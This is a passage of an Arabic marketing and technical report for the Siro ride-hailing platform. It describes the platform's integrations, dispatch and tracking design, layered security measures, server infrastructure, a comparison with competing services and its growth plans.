الحركات المالية -- **نظام البقشيش (Tips)**: إضافة بقشيش للسائق بعد الرحلة - ---- - -## 🔗 التكاملات الخارجية (شركاء الخدمة) - -### 🗺️ الخرائط والملاحة - -| الخدمة | الوظيفة | نوع التكامل | -|--------|---------|-------------| -| **Google Maps** | عرض الخرائط، الترميز الجغرافي، التوجيه | API Key | -| **Here Maps** | البحث والاقتراح التلقائي للأماكن | API Key | -| **Map SaaS** (خاص) | توجيه مخصص، ترميز جغرافي عكسي، بحث الأماكن | x-api-key | -| **OpenStreetMap (OSRM)** | توجيه عبر مسارات — خادم مخصص لكل دولة | Internal API | - -### 📱 التواصل والإشعارات - -| الخدمة | الوظيفة | -|--------|---------| -| **Firebase (FCM)** | إشعارات لحظية، تحليلات، Crashlytics | -| **Twilio** | التحقق عبر SMS (OTP) | -| **WhatsApp Cloud API** | إرسال كود التحقق عبر واتساب | -| **SMS Kazumi** | مزود SMS في مصر | - -### 🤖 الذكاء الاصطناعي - -| الخدمة | الوظيفة | -|--------|---------| -| **Azure OCR** | مسح ضوئي للمستندات واستخراج النصوص | -| **OpenAI GPT-3.5** | تحليل وفهم بيانات المستندات | -| **Llama AI** | نموذج ذكاء اصطناعي بديل لاستخراج البيانات (Fallback) | - -### 📞 الاتصالات - -| الخدمة | الوظيفة | -|--------|---------| -| **Agora** | مكالمات صوتية وفيديو داخل التطبيق | -| **WebRTC** | خدمة الإشارات للاتصالات المباشرة | - ---- - -## ⚙️ الميزات التقنية المتقدمة - -### 🎯 نظام التوزيع الذكي (Smart Dispatching) - -نظام التوزيع هو قلب المنصة، وهو المسؤول عن مطابقة الركاب مع السائقين بأقل وقت استجابة. - -**المكونات:** - -| المكون | التقنية | الوصف | -|--------|---------|-------| -| **WebSocket مزدوج** | PHP WebSocket (Socket.IO) | سيرفر مستقل للسائقين (port 2020) وآخر للركاب (port 3030) | -| **بحث مكاني (GIS Query)** | MySQL SPATIAL INDEX | استخدام GEOMETRY و SRID=4326 للبحث عن السائقين الأقرب | -| **توزيع فوري** | Redis GEOADD + GEORADIUS | تخزين مواقع السائقين في Redis مع تحديث كل 500ms | -| **نظام انتظار ذكي** | Event Buffer + Redis Pipeline | تجميع الأحداث وإرسالها دفعة واحدة كل 500ms | -| **تجميع الأحداث (Event Buffering)** | $eventBuffer في الذاكرة | تجاهل التحديثات إذا لم يتغير الموقع بأكثر من 10 أمتار | -| **Forward غير متزامن** | Async HTTP Forward | إرسال موقع السائق إلى سيرفر الراكب مع Throttle (3 ثوانٍ، 15 متراً) | - -**سير العمل:** - -``` -1. الراكب يطلب رحلة → بحث في Redis عن أقرب السائقين → إرسال عرض للسائق -2. السائق يقبل → WebSocket يرسل ride_accepted للراكب -3. تتبع مباشر → Driver Socket → Forward → Passenger Socket → الراكب -4. إعادة حساب المسار → OSRM Routing → Map SaaS → عرض المسار على الخريطة -5. انتهاء الرحلة → خصم المبلغ من المحفظة → تقييم متبادل -``` - -### 🗺️ نظام الخرائط الحية (Real-time Tracking) - -| الميزة | الوصف التقني | -|--------|--------------| -| تحديث موقع السائق | كل 3-5 ثوانٍ عبر WebSocket مع Smooth Animation | -| تتبع المسار المباشر | تحديث زاوية السيارة حسب الاتجاه باستخدام تحديثات GPS | -| **كشف الانحراف** | تنبيه إذا انحرف السائق عن المسار بأكثر من 50 متراً | -| إعادة التوجيه التلقائي | إعادة حساب المسار عبر OSRM إذا لزم الأمر | -| حساب وقت الوصول (ETA) | خوارزميات محلية دقيقة لحساب الوقت المتبقي | -| Polling Fallback | التبديل التلقائي للاقتراع كل 4 ثوانٍ عند فقدان WebSocket | - -### 💬 المحادثة الفورية (In-App Chat) - -- 🗨️ **دردشة داخلية** بين السائق والراكب دون مشاركة أرقام الهواتف -- 🔒 **حماية الخصوصية** — لا يرى الراكب رقم السائق والعكس -- 📱 تدعم الوسائط والنصوص -- 🚫 **سجل المحادثة** مشفر ومحمي - -### 🆘 نظام الطوارئ (Emergency/SOS) - -- 🚨 إشارة طوارئ مباشرة إلى فريق الدعم -- 📹 إرسال الموقع الحي لفريق الطوارئ -- 🎥 تكامل مع Agora لمكالمات الفيديو الفورية -- 📞 تكامل مع WebRTC للاتصالات المباشرة -- 👮 إشعارات للسلطات المحلية (حسب الدولة) - -### 🔄 إعادة الاتصال الذكي (Auto-Reconnect) - -| الطبقة | الآلية | التفاصيل | -|--------|--------|----------| -| WebSocket | 20 محاولة مع تأخير تصاعدي | 2-10 ثوانٍ بين المحاولات | -| Polling Fallback | تبديل تلقائي | كل 4 ثوانٍ كحد أقصى | -| مؤقت الصحة | Heartbeat كل 15 ثانية | التأكد من استقرار الاتصال | -| كشف القطع | isSocketHealthy() | تحقق من آخر تحديث (< 20 ثانية) | -| Auto-refresh JWT | عند استقبال 401 | تجديد التوكين تلقائياً | - ---- - -## 🛡️ الأمان متعدد الطبقات (Multi-Layer Security) - -> هذا القسم يغطي بنية الأمان الكامنة في المنصة من منظور تقني وتسويقي - -### 🏗️ طبقات الأمان الخمس - -``` -┌─────────────────────────────────────────────────────────┐ -│ Layer 1: 🔑 المصادقة (Authentication) │ -│ JWT + بصمة الجهاز + MFA + OTP │ -├─────────────────────────────────────────────────────────┤ -│ Layer 2: 🚪 التفويض (Authorization) │ -│ Role-based + Ownership Check + Rate Limiting │ -├─────────────────────────────────────────────────────────┤ -│ Layer 3: 🔐 حماية البيانات (Data Protection) │ -│ AES-256-CBC + IV عشوائي + HTTPS/TLS + Certificate Pin │ -├─────────────────────────────────────────────────────────┤ -│ Layer 4: 🧱 سلامة البيانات (Integrity) │ -│ Prepared Statements + Input Validation + HMAC-SHA256 │ -├─────────────────────────────────────────────────────────┤ -│ Layer 5: 👁️ المراقبة والكشف (Detection) │ -│ Audit Logs + Rate Limiting + Security Logging + Alerts │ -└─────────────────────────────────────────────────────────┘ -``` - -### 🔑 الطبقة الأولى: المصادقة (Authentication) - -| الآلية | التقنية | الوصف | -|--------|---------|-------| -| **JWT Tokens** | مخصص (custom) | توكنات JWT تصدر عند تسجيل الدخول، تتحقق في كل طلب | -| **بصمة الجهاز (Fingerprint)** | SHA-256 + HMAC | بصمة جهاز فريدة مربوطة بجهاز المستخدم | -| **المصادقة متعددة العوامل (MFA)** | بصمة + OTP + Token | الحماية بعاملين على الأقل | -| **SMS OTP** | Twilio + WhatsApp | إرسال رمز تحقق عبر SMS أو واتساب | -| **Google/Apple Sign-In** | Firebase Auth | تسجيل دخول بحسابات التواصل الاجتماعي | -| **التسجيل ببصمة الجهاز** | hash_equals | التحقق من البصمة مع مقارنة آمنة زمنياً (Timing-safe) | - -**إدارة التوكنات:** - -| النوع | التخزين | مدة الصلاحية | آلية التجديد | -|-------|---------|---------------|--------------| -| JWT (رئيسي) | GetStorage (مشفر) | 1 ساعة | Auto-refresh عند 401 | -| JWT (محفظة) | GetStorage (مشفر) | 1 ساعة | Auto-refresh منفصل | -| FCM Token | GetStorage + DB | حسب Firebase | عند بدء التطبيق | -| Refresh Token | FlutterSecureStorage | طويل المدى | عند تسجيل الدخول | -| Server Token | قاعدة البيانات | جلسة واحدة | مع توقيع HMAC | - -### 🚪 الطبقة الثانية: التفويض (Authorization) - -| الآلية | الوصف التقني | -|--------|--------------| -| **Role-based Access** | أدوار (Passenger, Driver, Admin, Service) مع صلاحيات محددة | -| **Device Binding** | X-Device-FP header مقابل JWT fingerprint claim | -| **Wallet Auth** | JWT منفصل + HMAC لعمليات الدفع | -| **Ownership Verification** | التحقق من أن المستخدم يملك المورد المطلوب | -| **Admin Authorization** | التحقق من دور المسؤول مع صلاحيات دقيقة | - -### 🔐 الطبقة الثالثة: حماية البيانات (Data Protection) - -**تشفير AES-256-CBC مع IV عشوائي:** - -``` -قبل الإصلاح: IV ثابت → نفس النص = نفس التشفير ← ثغرة 🔴 -بعد الإصلاح: IV عشوائي لكل تشفير ← كل مرة تشفير مختلف ← آمن ✅ - -سير العمل الآمن: -1. توليد IV عشوائي (16 بايت) باستخدام openssl_random_pseudo_bytes -2. تشفير البيانات بـ AES-256-CBC -3. ضم IV مع النص المشفر -4. تشفير بـ base64 -5. عند فك التشفير: استخراج IV من أول 16 بايت -``` - -**البيانات المشفرة:** - -| نوع البيانات | مستوى التشفير | -|--------------|---------------| -| أرقام الهواتف | AES-256-CBC + IV عشوائي | -| بطاقات الهوية | AES-256-CBC + IV عشوائي | -| معلومات الدفع | AES-256-CBC + HMAC | -| كلمات المرور | bcrypt/Argon2ID (hash) | -| مفاتيح API | AES-256-CBC | -| توقيعات HMAC | SHA-256 | - -**SSL/TLS:** - -- ✅ جميع اتصالات API عبر HTTPS -- ✅ تثبيت الشهادة (Certificate Pinning) على تطبيقات Flutter -- ✅ التحقق من SSL في كل طلب (CURLOPT_SSL_VERIFYPEER) -- ✅ HSTS (Strict-Transport-Security) -- ❌ تمت إزالة نقاط نهاية HTTP (تم الاستبدال بـ HTTPS) - -### 🧱 الطبقة الرابعة: سلامة البيانات (Integrity) - -| الإجراء | الوصف | -|---------|--------| -| **Prepared Statements** | جميع استعلامات SQL تستخدم Prepared Statements (PDO) | -| **Input Validation** | التحقق من جميع المدخلات (القوائم البيضاء، الفلاتر) | -| **Output Encoding** | ترميز المخرجات لمنع XSS | -| **HMAC-SHA256** | توقيع جميع طلبات الدفع بين الخوادم | -| **Anti-Replay** | Timestamp + Nonce لمنع إعادة تشغيل الطلبات | -| **Idempotency Key** | منع معالجة نفس الطلب مرتين (الدفع، إنشاء الرحلة) | -| **Race Condition Guards** | حراس التكرار في دورة حياة الرحلة | - -### 👁️ الطبقة الخامسة: المراقبة والكشف (Detection) - -| الإجراء | الآلية | -|---------|--------| -| **Audit Logging** | تسجيل جميع العمليات الحساسة (تسجيل دخول، معاملات مالية، تعديلات) | -| **Rate Limiting** | تحديد عدد الطلبات لكل مستخدم/عنوان IP | -| **Login Monitoring** | تسجيل محاولات تسجيل الدخول الفاشلة والناجحة | -| **Fraud Detection** | كشف الأنماط المشبوهة في المعاملات المالية | -| **Error Logging** | تسجيل الأخطاء بدون كشف معلومات حساسة | -| **Server Monitoring** | مراقبة أداء الخوادم ووقت التشغيل | -| **Alerting** | تنبيهات في الوقت الفعلي للأنشطة المشبوهة | - -### 🔐 حماية نظام الدفع (Payment Security) - -نظام الدفع في سيرو مبني على بنية S2S (Server-to-Server) آمنة: - -``` -تطبيق Flutter ←→ API Server (JWT + HMAC) ←→ Wallet Server (HMAC + Timestamp + Backend ID) -``` - -| الإجراء | الوصف | -|---------|--------| -| JWT إجباري | لا يمكن تنفيذ أي معاملة مالية بدون JWT صالح | -| HMAC-SHA256 | توقيع جميع الطلبات بمفتاح سري مشترك بين الخوادم | -| Timestamp + Nonce | منع هجمات إعادة التشغيل (Replay Attacks) | -| Backend ID | تعريف الخادم المُصدر للطلب | -| Rate Limiting | حد أقصى للمعاملات لكل مستخدم | -| التحقق من المبلغ | التحقق من أن المبلغ ضمن الحدود المسموحة (1-10,000) | -| Idempotency | منع معالجة نفس طلب الدفع مرتين | -| Audit Trail | تسجيل جميع المعاملات المالية مع التفاصيل الكاملة | - -### 🛡️ رؤوس الأمان (Security Headers) - -| الرأس | القيمة | الغرض | -|-------|--------|-------| -| Strict-Transport-Security | max-age=31536000 | فرض HTTPS | -| X-Frame-Options | DENY | منع Clickjacking | -| X-Content-Type-Options | nosniff | منع MIME sniffing | -| Content-Security-Policy | سياسة مقيدة | منع XSS | -| X-XSS-Protection | 1; mode=block | حماية عبر المتصفح | -| Referrer-Policy | strict-origin-when-cross-origin | حماية الإحالات | - -### 📱 أمن تطبيقات الهاتف (Mobile Security) - -| الإجراء | الوصف | -|---------|-------| -| **تثبيت الشهادة** | Certificate Pinning في تطبيقات Flutter | -| **التخزين الآمن** | FlutterSecureStorage (Keychain/Keystore) للبيانات الحساسة | -| **أذونات محدودة** | تم تقليل الأذونات إلى الحد الأدنى المطلوب | -| **GetStorage مشفر** | تخزين محلي مشفر للبيانات | -| **Android Foreground Service** | خدمة خلفية دائمة مع وصول محدود | -| **No Debug Code** | إزالة جميع أكواد التصحيح من الإنتاج | - -### 🔄 المصادقة بين الخوادم (S2S Authentication) - -``` -API Server → Wallet Server: - Header: X-Signature (HMAC-SHA256) - Header: X-Timestamp (Unix Time) - Header: X-Backend-ID (معرف فريد) - Header: X-Nonce (رقم عشوائي لمرة واحدة) - Body: JSON (JWT + Data) - -Wallet Server → تحقق: - 1. التحقق من Timestamp (ضمن 60 ثانية) - 2. التحقق من Backend ID - 3. التحقق من HMAC Signature - 4. التحقق من Nonce (لم يتم استخدامه من قبل) - 5. التحقق من JWT Payload -``` - -### 📊 تقييم الأمان العام - -| المجال | التقييم | الحالة | -|--------|---------|--------| -| 🔑 المصادقة | ⭐⭐⭐⭐⭐ | MFA + JWT + بصمة + OTP | -| 🔐 التشفير | ⭐⭐⭐⭐⭐ | AES-256-CBC + IV عشوائي | -| 🛡️ حماية API | ⭐⭐⭐⭐⭐ | Rate Limiting + Validation | -| 💳 أمن المدفوعات | ⭐⭐⭐⭐⭐ | S2S + HMAC + Audit Trail | -| 📱 أمن التطبيقات | ⭐⭐⭐⭐ | Certificate Pinning + تشفير | -| 🗄️ أمن قاعدة البيانات | ⭐⭐⭐⭐⭐ | SQL Injection محمي | -| 🌐 أمن الشبكة | ⭐⭐⭐⭐⭐ | HTTPS + HSTS + CSP | -| 👁️ المراقبة | ⭐⭐⭐⭐ | Audit Logs + تنبيهات | - ---- - -## 🤖 الذكاء الاصطناعي (AI Features) - -### 📄 توثيق السائقين بالذكاء الاصطناعي - -نظام توثيق متكامل يستخدم 3 محركات ذكاء اصطناعي لاستخراج بيانات المستندات تلقائياً: - -**سير العمل:** - -``` -1. تصوير المستند ← Azure OCR (استخراج النص) -2. النص المستخرج ← OpenAI GPT-3.5 (تحليل وفهم) -3. في حالة فشل: Llama AI (نموذج بديل) -4. التحقق التلقائي ← مطابقة البيانات مع القواعد -5. تسجيل فوري ← من أيام إلى دقائق -``` - -| المحرك | الوظيفة | الميزة | -|--------|---------|--------| -| **Azure OCR** | مسح ضوئي | استخراج النصوص من صور المستندات | -| **OpenAI GPT-3.5** | تحليل ذكي | فهم وتصنيف بيانات المستندات | -| **Llama AI** | نموذج بديل | Fallback في حال فشل OpenAI | - ---- - -## 🎁 الإضافات المميزة (Value-Added Features) - -### 🏷️ نظام العروض الترويجية (Promotions) - -- 🎫 **أكواد خصم** للمستخدمين الجدد والحاليين -- 🆕 **كود دعوة أول رحلة**: خصم على أول رحلة لكل مستخدم جديد -- 📩 إرسال العروض المخصصة عبر الإشعارات -- 📊 تقارير أداء العروض الترويجية - -### 👫 نظام الإحالة (Referral System) - -- 🔗 **رمز إحالة موحد** لكل مستخدم (سائق أو راكب) -- 🎁 **مكافآت دعوة الأصدقاء**: رصيد مجاني لكل شخص يدعوه -- 📊 تتبع الإحالات — عدد المسجلين والأرباح -- 💰 مكافآت مزدوجة (للداعي والمدعو) - -### ⭐ نظام التقييم المزدوج (Dual Rating) - -| التقييم | من | إلى | الغرض | -|---------|----|-----|-------| -| ⭐ نجوم | الراكب | السائق | جودة الخدمة | -| ⭐ سلوك | السائق | الراكب | سلوك الراكب ونظافته | -| 📊 مؤشر الجودة | تلقائي | المستخدم | متوسط جميع التقييمات | -| 🚫 القائمة السوداء | إداري | المستخدم | حظر ذوي التقييم المنخفض | - -### 💰 نظام العمولات الذكي (Kazan) - -- 📊 **نسبة عمولة متغيرة** حسب نوع المركبة -- 🌍 **أسعار مختلفة حسب كل دولة**: سوريا، الأردن، مصر -- ⚙️ **قابل للتعديل** من لوحة التحكم الإدارية -- 💹 **شفافية كاملة**: السائق يعرف نسبة العمولة قبل قبول الرحلة - -### 💵 نظام البقشيش (Tips) - -- 💵 إضافة بقشيش للسائق بعد الرحلة -- 📱 عبر المحفظة الإلكترونية أو نقداً -- ⭐ تشجيع للسائقين على تقديم خدمة ممتازة - ---- - -## 🖥️ البنية التحتية (Infrastructure) - -### 🏗️ معمارية النظام - -``` -┌──────────────────────────────────────────────────────────────┐ -│ تطبيقات Flutter │ -│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌────────────┐ │ -│ │ siro_rider│ │siro_driver│ │siro_admin│ │siro_service│ │ -│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └─────┬──────┘ │ -└───────┼──────────────┼──────────────┼──────────────┼─────────┘ - │ │ │ │ - ▼ ▼ ▼ ▼ -┌──────────────────────────────────────────────────────────────┐ -│ API Gateway (Nginx) │ -│ Load Balancer + SSL Termination │ -└──────────────────────────┬───────────────────────────────────┘ - │ - ┌───────────────┼───────────────┐ - ▼ ▼ ▼ -┌──────────────────┐ ┌──────────┐ ┌──────────────────┐ -│ API Server 1 │ │API Server│ │ Socket Server │ -│ (8 Core/16GB) │ │ 2 │ │ (8 Core/16GB) │ -│ PHP-FPM + Nginx│ │ (Mirror) │ │ Driver+Passenger│ -└────────┬─────────┘ └────┬─────┘ └────────┬─────────┘ - │ │ │ - └────────────────┼────────────────┘ - │ - ┌──────────────┼──────────────┐ - ▼ ▼ ▼ -┌──────────────────┐ ┌──────────┐ ┌──────────────────┐ -│ MySQL Server │ │ Redis │ │ OSRM Server │ -│ (16 Core/64GB) │ │ 8Core/32G│ │ (16 Core/32GB) │ -│ 1TB NVMe + 10GbE│ │ 10GbE │ │ Syria OSM Map │ -└──────────────────┘ └──────────┘ └──────────────────┘ - │ -┌──────────┴──────────┐ -│ Wallet Server │ -│ (4 Core/8GB) │ -│ Payment Gateway │ -└─────────────────────┘ -``` - -### 📊 مواصفات الخوادم المقترحة - -| السيرفر | المعالج | الرام | التخزين | الشبكة | العدد | -|---------|---------|-------|---------|--------|-------| -| Load Balancer | 2 Core | 4 GB | 50 GB SSD | 1 Gbps | 1 | -| API Server | 8 Core | 16 GB | 100 GB NVMe | 1 Gbps | 2 | -| MySQL | 16 Core | 64 GB | 1 TB NVMe | 10 Gbps | 1 | -| Redis | 8 Core | 32 GB | 100 GB NVMe | 10 Gbps | 1 | -| Socket Server | 8 Core | 16 GB | 50 GB SSD | 1 Gbps | 1 | -| Wallet Server | 4 Core | 8 GB | 50 GB SSD | 1 Gbps | 1 | -| OSRM Server | 16 Core | 32 GB | 200 GB NVMe | 1 Gbps | 1 | -| **التكلفة الشهرية** | | | | | **$900-1,890** | - -### 🌐 طوبولوجيا الشبكة - -``` - ┌──────────────┐ - │ Internet │ - └──────┬───────┘ - │ - ┌──────┴───────┐ - │ Firewall │ - │ (iptables) │ - └──────┬───────┘ - │ - ┌──────┴───────┐ - │Load Balancer │ - │ Public IP │ - └──────┬───────┘ - │ - ┌─────────────────┼─────────────────┐ - │ │ │ - ┌──────┴───────┐ ┌─────┴───────┐ ┌──────┴───────┐ - │ API SRV 1 │ │ API SRV 2 │ │ Socket SV │ - │ 10.0.1.10 │ │ 10.0.1.11 │ │ 10.0.1.20-21 │ - └──────┬───────┘ └─────┬───────┘ └──────┬───────┘ - └────────────────┼─────────────────┘ - │ - ┌────────────────┼─────────────────┐ - │ │ │ - ┌──────┴───────┐ ┌────┴───────┐ ┌──────┴───────┐ - │ MySQL DB │ │ Redis │ │ OSRM │ - │ 10.0.1.30 │ │ 10.0.1.31 │ │ 10.0.1.40 │ - └──────────────┘ └────────────┘ └──────────────┘ - - ┌──────────────┐ ┌────────────┐ - │ Wallet SV │ │ Map SaaS │ - │ 10.0.1.50 │ │ 10.0.1.60 │ - └──────────────┘ └────────────┘ -``` - -### 🔒 الإجراءات الأمنية للبنية التحتية - -| الإجراء | الوصف | -|---------|-------| -| **Firewall** | فتح المنافذ: 80/443 (عام) + 2020/3030 (WebSocket) + 22 (SSH مقيّد) | -| **Fail2ban** | حماية SSH و API من هجمات القوة الغاشمة | -| **UFW/iptables** | حجب جميع المنافذ غير المستخدمة على كل سيرفر | -| **VPN** | وصول آمن للإدارة عبر Tailscale أو WireGuard | -| **SSL/TLS** | جميع الاتصالات الخارجية مشفرة | -| **Internal VLAN** | شبكة داخلية خاصة (10.0.1.0/24) بين جميع الخوادم | -| **MySQL Access** | مستخدم مخصص بصلاحيات محدودة من API Servers فقط | -| **Redis Password** | requirepass + rename-command FLUSHALL | -| **.env Permissions** | صلاحيات 600 لملف .env | - ---- - -## 📊 المقارنة التنافسية (Competitive Analysis) - -| الميزة | **Siro (سِيرُو)** | أوبر (Uber) | كريم (Careem) | Bolt | -|--------|-------------------|-------------|---------------|------| -| 🌍 التوسع الإقليمي | سوريا، الأردن، مصر | عالمي | إقليمي | عالمي | -| 🚙 أنواع المركبات | **12 نوعاً** | 5 أنواع | 6 أنواع | 4 أنواع | -| 💳 طرق الدفع المحلية | **7 طرق** (MTN, Syriatel, E-Cash) | 4 طرق | 5 طرق | 3 طرق | -| 👩 سائقات نساء | ✅ **نعم** | ✅ نعم | ✅ نعم | ❌ لا | -| 📱 تطبيقات متصلة | **4 تطبيقات** | تطبيقان | تطبيقان | تطبيقان | -| 🤖 ذكاء اصطناعي للتوثيق | **Azure + OpenAI + Llama** | أساسي | أساسي | ❌ لا | -| 🎯 تراكب الأندرويد | **نعم — فوق أي تطبيق** | لا | لا | لا | -| 🗺️ خريطة مخصصة | **Map SaaS خاص** | Google فقط | Google فقط | Google فقط | -| 📊 لوحة تحكم إدارية | **ويب كامل — 15+ وحدة** | محدود | محدود | محدود | -| 💬 دردشة بدون رقم | ✅ نعم | ✅ نعم | ✅ نعم | ❌ لا | -| 🆘 زر طوارئ + فيديو | ✅ **Agora + WebRTC** | SOS فقط | SOS فقط | ❌ لا | -| 💰 محفظة إلكترونية | ✅ راكب + سائق | محدود | ✅ نعم | ❌ لا | -| 🏷️ نظام إحالة متكامل | ✅ راكب + سائق | ✅ | ✅ | ✅ | -| 🔒 بصمة جهاز + JWT | ✅ **أمان متعدد الطبقات** | أساسي | أساسي | أساسي | -| 📦 توصيل طلبات (Delivery) | ✅ نعم | ✅ نعم | ✅ نعم | ❌ لا | -| ⚡ تطبيق إدارة ميداني | ✅ **Siro Service** | لا | لا | لا | - ---- - -## 📈 فرص النمو والتوسع - -### على المدى القصير (3-6 أشهر) - -| الفرصة | الوصف | التأثير المتوقع | -|--------|-------|----------------| -| 🌍 التوسع لدول جديدة | دول الخليج، شمال أفريقيا | 5x قاعدة المستخدمين | -| 🚚 خدمات لوجستية | نقل بضائع، شحن، توصيل طرود | إيرادات إضافية 30%+ | -| 🛵 توصيل طلبات للمطاعم | Siro Food - مشابه لـ Uber Eats | إيرادات إضافية 50%+ | -| 🤖 تحسين التنبؤ بالطلب | AI Demand Forecasting | تقليل وقت الانتظار 40% | - -### على المدى المتوسط (6-12 شهراً) - -| الفرصة | الوصف | -|--------|-------| -| 💳 إضافة بوابات دفع جديدة | المزيد من خيارات الدفع المحلية | -| 🎯 برامج ولاء متقدمة | نقاط مكافآت، خصومات مخصصة | -| 🚗 تأجير السيارات | Siro Rent - خدمة تأجير السيارات | -| 🏢 خدمات النقل للشركات | B2B Corporate Transport Solutions | -| 🔐 برنامج مكافآت الأخطاء | Bug Bounty Program لتعزيز الأمان | - -### على المدى الطويل (12-24 شهراً) - -| الفرصة | الوصف | -|--------|-------| -| 🤖 قيادة ذاتية | Autonomous Vehicle Integration | -| 🛸 توصيل بالطائرات المسيرة | Drone Delivery Services | -| 🌍 منصة مفتوحة (Open Platform) | API عام لمطوري الطرف الثالث | -| 💳 بنك رقمي | Siro Fintech - خدمات مالية رقمية | - ---- - -## 🎓 نقاط القوة الرئيسية — لماذا Siro؟ - -### 1️⃣ 🏗️ بنية تحتية مرنة ومخصصة - -- **خوادم مخصصة لكل دولة**: routing مختلف لسوريا، الأردن، مصر -- **خريطة خاصة (Map SaaS)**: لا تعتمد كلياً على Google Maps — استقلالية تامة -- **WebSockets مزدوجة**: فصل تام بين اتصالات السائق والراكب لتجنب الازدحام -- **Redis Pipeline**: تجميع الأحداث كل 500ms لتقليل الحمل -- **Auto-scaling**: بنية قابلة للتوسع الأفقي - -### 2️⃣ 🧠 ذكاء اصطناعي مدمج - -- **توثيق آلي** للسائقين الجدد — يقلل وقت التسجيل من أيام إلى دقائق -- **Azure + OpenAI + Llama**: ثلاث محركات ذكاء اصطناعي تعمل معاً لضمان أعلى دقة مع Fallback تلقائي -- قابلية التوسع لإضافة حالات استخدام AI جديدة - -### 3️⃣ 💳 حلول دفع محلية مبتكرة - -- دعم **MTN و Syriatel** في سوريا (حلول دفع محلية فريدة) -- دعم **E-Cash** في مصر -- **PayMob** للبطاقات الائتمانية -- **Stripe** للدفع الدولي -- **محفظة إلكترونية** مزدوجة للراكب والسائق مع تحويلات داخلية -- بنية S2S آمنة مع HMAC + JWT - -### 4️⃣ 🎯 تجربة سائق فريدة - -- **تراكب Android** يعرض الطلبات حتى فوق التطبيقات الأخرى — لا يفوت السائق أي طلب -- **خدمة خلفية دائمة (Foreground Service)** — الموقع محدث 24/7 -- **توجيه صوتي (Voice Navigation)** مع إرشادات مفصلة TTS -- **مؤقت انتظار أوتوماتيكي** للركاب مع 15 ثانية للقبول -- **إحصائيات الأرباح** لحظية مع تقارير مالية شاملة - -### 5️⃣ 📊 إدارة شاملة - -- **15+ وحدة إدارية** في لوحة التحكم (أكثر من أي منافس) -- **تحليلات متقدمة** وتقارير مالية فورية -- **إدارة السائقين والركاب** بكفاءة مع مراقبة الجودة -- **القوائم السوداء** و **بطاقات أداء السائقين** -- **سجلات التدقيق (Audit Logs)** للأمان والمساءلة - -### 6️⃣ 🌍 دعم متعدد اللغات والعملات - -- دعم اللغة العربية والإنكليزية كامل -- واجهات مترجمة بالكامل للتطبيقات الأربعة -- محتوى مترجم للدول المختلفة -- دعم العملات المتعددة (ليرة سورية، دينار أردني، جنيه مصري) - -### 7️⃣ 🔒 أمان عالي المستوى — ميزة تنافسية - -- **JWT مع بصمة الجهاز الفريدة** — أمان متعدد الطبقات -- **HMAC لطلبات الدفع** — حماية S2S -- **تشفير AES-256-CBC مع IV عشوائي** — حماية البيانات الحساسة -- **Auto-refresh JWT** — منع قطع الجلسة مع أمان مستمر -- **Rate Limiting** — تحديد معدل المحاولات والحماية من الهجمات -- **Certificate Pinning** — منع هجمات الوسيط (MITM) -- **Audit Logging** — سجل تدقيق شامل لجميع العمليات - -### 8️⃣ 🚚 تنوع خدمات النقل - -- من التوصيل السريع بالدراجة النارية إلى النقل العائلي والفان -- **سائقات نساء** — خيار خاص يحترم خصوصية السيدات (ميزة نادرة) -- **سيارات كهربائية** — خيار صديق للبيئة (استباقي) -- **12 نوع مركبة** — أكبر تنوع مقارنة بالمنافسين - ---- - -## ✅ الخلاصة والتقرير النهائي - -### لماذا Siro هي الخيار الأفضل؟ - -| المعيار | التقييم | -|---------|---------| -| **التغطية الإقليمية** | ⭐⭐⭐⭐⭐ 3 دول مع دعم محلي كامل | -| **تنوع الخدمات** | ⭐⭐⭐⭐⭐ 12 نوع مركبة + 4 تطبيقات | -| **طرق الدفع** | ⭐⭐⭐⭐⭐ 7 طرق دفع محلية وعالمية | -| **الأمان** | ⭐⭐⭐⭐⭐ 5 طبقات أمان متكاملة | -| **الذكاء الاصطناعي** | ⭐⭐⭐⭐⭐ 3 محركات AI للتوثيق التلقائي | -| **لوحة التحكم** | ⭐⭐⭐⭐⭐ 15+ وحدة إدارية | -| **البنية التحتية** | ⭐⭐⭐⭐⭐ خوادم مخصصة لكل دولة | -| **تجربة السائق** | ⭐⭐⭐⭐⭐ Android Overlay + Voice Nav | -| **الدعم المحلي** | ⭐⭐⭐⭐⭐ فهم عميق لاحتياجات السوق العربي | - -### 📊 الأرقام النهائية - -| المقياس | القيمة | -|---------|--------| -| دول التشغيل | 3 | -| تطبيقات متصلة | 4 | -| أنواع المركبات | 12 | -| طرق الدفع | 7 | -| خدمات التكامل | 15+ | -| ملفات PHP | 395+ | -| قواعد بيانات | 3 | -| خوادم مخصصة | 10+ | -| طبقات أمان | 5 | -| محركات AI | 3 | -| وحدات إدارية | 15+ | -| التكلفة الشهرية للبنية | $900-1,890 | -| السعة الاستيعابية | 10,000+ مستخدم متزامن | - -### 🎯 الرسالة التسويقية الأساسية - -> **Siro (سِيرُو) ليست مجرد تطبيق نقل — إنها منصة متكاملة للنقل الذكي تجمع بين:** -> -> ✅ **4 تطبيقات متصلة** تغطي كل احتياجات النقل -> ✅ **12 نوع مركبة و 7 طرق دفع** لتغطية جميع احتياجات المستخدمين -> ✅ **ذكاء اصطناعي متقدم** لتسريع التوثيق وتحسين الخدمة -> ✅ **نظام توزيع ذكي** مع خرائط حية وتتبع مباشر -> ✅ **لوحة تحكم إدارية** بمستوى مؤسسي (15+ وحدة) -> ✅ **5 طبقات أمان** لحماية البيانات والمعاملات المالية -> ✅ **حلول دفع محلية** مبتكرة تفهم احتياجات السوق -> ✅ **بنية تحتية** بتكلفة تشغيل $900-1,890 شهرياً - -### 🔐 الأمان كعلامة تجارية - -في عالم تتصدر فيه خروقات البيانات عناوين الأخبار، **Siro تضع الأمان في صميم منتجها**: - -- **5 طبقات أمان متكاملة** — من المصادقة إلى المراقبة -- **تشفير AES-256-CBC مع IV عشوائي** — معيار صناعي -- **JWT + بصمة جهاز + MFA** — أمان متعدد العوامل -- **HMAC + S2S للمدفوعات** — حماية مالية على مستوى المؤسسات -- **سجل تدقيق شامل** — مساءلة وشفافية كاملة -- **اختبارات اختراق منتظمة** — تحسين مستمر - -> **Siro — وجهتك الذكية لكل رحلة** 🚀 -> -> *النقل الذكي | الأمان أولاً | حلول محلية | تقنيات عالمية* - ---- - -*تم إعداد هذا التقرير ليكون دليلاً تسويقياً وأمنياً شاملاً لمنصة Siro (سِيرُو)* -*جميع المعلومات المذكورة تستند إلى الكود المصدري والتوثيق الفني للمنصة* - -**تاريخ التقرير:** 17 يونيو 2026 -**الإصدار:** 1.0 